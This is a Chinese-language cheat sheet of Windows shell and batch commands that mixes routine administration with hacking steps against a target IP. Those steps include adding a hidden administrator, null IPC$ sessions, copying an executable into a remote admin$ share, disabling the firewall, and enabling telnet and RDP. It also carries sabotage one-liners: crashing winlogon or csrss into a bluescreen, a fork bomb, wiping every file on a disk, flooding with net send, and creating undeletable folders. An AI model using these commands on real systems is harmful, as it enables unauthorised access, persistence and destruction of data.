net user 使用者名稱 密碼 /add (建立使用者) 
net localgroup Administrators 使用者名稱 /add (將使用者加到管理員，使其擁有管理許可權) 
net user guest /active:Yes (啟用guest使用者) 
net user guest 12345 (修改guest密碼為12345) 
net user (檢視賬號屬性) 
net use \\ip\ipc$ "" /user (建立空IPC連結) 
net use \\ip\ipc$ "密碼" /user:"使用者名稱" (建立IPC非空連結，非空連結就是需要帳戶和密碼) 
net use \\ip\ipc$ 
 
/del (刪除IPC空連結) 
net start (檢視開啟了哪些服務) 
net start 服務名 (開啟服務) 
net time \\目標IP (檢視對方時間) 
net view (檢視本地區域網開啟了哪些共享) 
net share (檢視本地開啟的哪些共享) 
net share C$/del (刪除C：共享) 
netstat -a (檢視計算機開放了哪些埠) 
netstat -n (檢視埠的網路連線情況) 
nbtstat -A ip (對方136到139一個埠開放了就可以查出對方使用者名稱)
Copy xx.exe\\ip\admin$\System32 (將當前xx.exe複製到對方Admin$共享的System32目錄內)
sc config tlntsvr start
 
= auto(修改telnet服務的啟動方式為自動，auto前面有一個空格)
net stop sharedaccess(關閉系統自帶的防火牆)
net send IP 訊息(利用messenger服務向目標IP傳送訊息)
ntsd -c q -pn winlogon.exe(藍屏重啟)
ntsd -c q -pn csrss.exe(宕機)
tasklist(檢視程序)
taskkill(結束程序)
開啟禁用的telnet服務：
    sc config tlntsvr start= auto(auto前有空格)
開啟3389遠端終端
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
 
" /v fDenyTSConnections /t reg_dword /d 0 /f
查詢3389的埠：
    WIN7:  REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber
        WIN7:  REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
開啟C盤預設共享
    net share c$=c:
開啟計劃任務服務（at命令需要這一服務）
    net start schedule
開啟遠端登錄檔(Remote Registry)服務
    net start remoteregistry

1.重複執行某條命令直至宕機的批處理程式碼：
    start cmd
    %0
2.複製一個檔案的磁碟的每個子資料夾當中：
    for /r /d %a in (*)  do copy test.txt "%a" /y
3.不停地執行同一條命令：
    for /l %a in (1,0,2) do net send 192.168.2.25 “Hi！"
4.宕機,藍屏
    ntsd -c q -pn winlogon.exe
    ntsd -c q -pn csrss.exe
5.自刪除，批處理檔名為delme.bat
     ……    
     del delme.bat
6.刪除磁碟所有檔案：
    del * /a /s /q /f
7.建立名字為空的資料夾：
    md (按住Alt鍵，在小鍵盤上按2,5,5,然後鬆開Alt,回車)
8.建立無法刪除的特殊名字資料夾：
    md \\.\c:\con
    md \\.\c:\aux
9.建立無法雙擊開啟無法刪除的另類資料夾：
    md test..\
    rd test..\ /s /q

Cd   切換目錄
Dir   列出所有檔案資訊
Del  刪除檔案
Md  建立目錄 Rd刪除目錄
Copy 複製
Xcopy 複製檔案和資料夾
Cls  清屏
Attrib 修改檔案、資料夾屬性
Date、Time顯示日期、時間
Path 系統路徑
Set 顯示、設定系統資訊
Ren(Rename)重新命名
Subst 虛擬磁碟
Ver 顯示作業系統版本
Help 幫助
Systeminfo 檢視系統軟硬體資訊
/?   顯示某條命令的幫助